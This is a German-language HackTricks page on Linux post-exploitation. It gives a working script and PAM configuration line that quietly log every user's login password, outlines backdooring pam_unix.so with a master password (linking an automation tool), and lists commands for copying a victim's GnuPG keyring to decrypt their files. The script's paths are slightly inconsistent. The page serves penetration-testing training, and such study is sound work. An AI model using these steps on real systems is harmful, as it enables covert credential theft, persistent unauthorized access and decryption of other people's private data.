Linux Post-Exploitation
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Sniffing Logon Passwords with PAM
Lass uns ein PAM-Modul konfigurieren, um jedes Passwort zu protokollieren, das ein Benutzer beim Login verwendet. Wenn du nicht weißt, was PAM ist, siehe:
PAM - Pluggable Authentication Modules
For further details check the original post. Dies ist nur eine Zusammenfassung:
Technikübersicht: Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung von Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem sie Login-Prozesse anpassen, bergen aber auch Risiken bei Missbrauch. Diese Zusammenfassung skizziert eine Technik, um Login-Zugangsdaten mit PAM abzugreifen, sowie Gegenmaßnahmen.
Erfassung von Zugangsdaten:
- Ein bash-Skript namens
toomanysecrets.shwird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername ($PAM_USER), Passwort (über stdin) und die IP des entfernten Hosts ($PAM_RHOST) in/var/log/toomanysecrets.logzu speichern. - Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (
common-auth) integriert, wobei das Modulpam_exec.somit Optionen verwendet wird, es still auszuführen und den Authentifizierungs-Token an das Skript zu übergeben. - Die Methode zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Zugangsdaten unauffällig zu protokollieren.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
For further details check the original post. Dies ist nur eine Zusammenfassung:
Der Pluggable Authentication Module (PAM) ist ein unter Linux eingesetztes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: username, password, und service. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis /etc/pam.d/, wo gemeinsame Bibliotheken die Authentifizierung übernehmen.
Ziel: PAM so modifizieren, dass die Authentifizierung mit einem bestimmten Passwort möglich ist und damit das eigentliche Benutzerpasswort umgangen wird. Der Fokus liegt dabei insbesondere auf der pam_unix.so shared library, die von der Datei common-auth verwendet wird und von fast allen Services zur Passwortprüfung eingebunden ist.
Schritte zum Modifizieren von pam_unix.so:
- Lokalisieren der Authentifizierungsanweisung in der Datei
common-auth:
- Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft
pam_unix.soauf.
- Quellcode ändern:
- Fügen Sie in der Datei
pam_unix_auth.ceine Bedingung hinzu, die Zugriff gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls wird der normale Authentifizierungsprozess fortgesetzt.
- Kompilieren und Ersetzen:
- Kompilieren Sie die modifizierte
pam_unix.so-Bibliothek neu und ersetzen Sie sie im entsprechenden Verzeichnis.
- Testen:
- Mit dem vordefinierten Passwort wird der Zugriff über verschiedene Services (login, ssh, sudo, su, screensaver) gewährt, während die normale Authentifizierung unverändert bleibt.
tip
Sie können diesen Prozess mit https://github.com/zephrax/linux-pam-backdoor automatisieren
GPG-Loot durch Verlagerung des homedir entschlüsseln
Wenn Sie eine verschlüsselte .gpg-Datei und den ~/.gnupg-Ordner eines Benutzers (pubring, private-keys, trustdb) finden, aber aufgrund von GnuPG homedir-Berechtigungen/-Sperren nicht entschlüsseln können, kopieren Sie das keyring an einen beschreibbaren Ort und verwenden Sie es als Ihr GPG-Home.
Typische Fehler, die ohne diese Maßnahme auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das ursprüngliche homedir nicht lesen/schreiben kann).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Wenn das geheime Schlüsselmaterial in private-keys-v1.d vorhanden ist, wird GPG ohne Aufforderung zur Eingabe einer passphrase entsperren und entschlüsseln (oder es wird auffordern, wenn der Schlüssel geschützt ist).
Referenzen
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks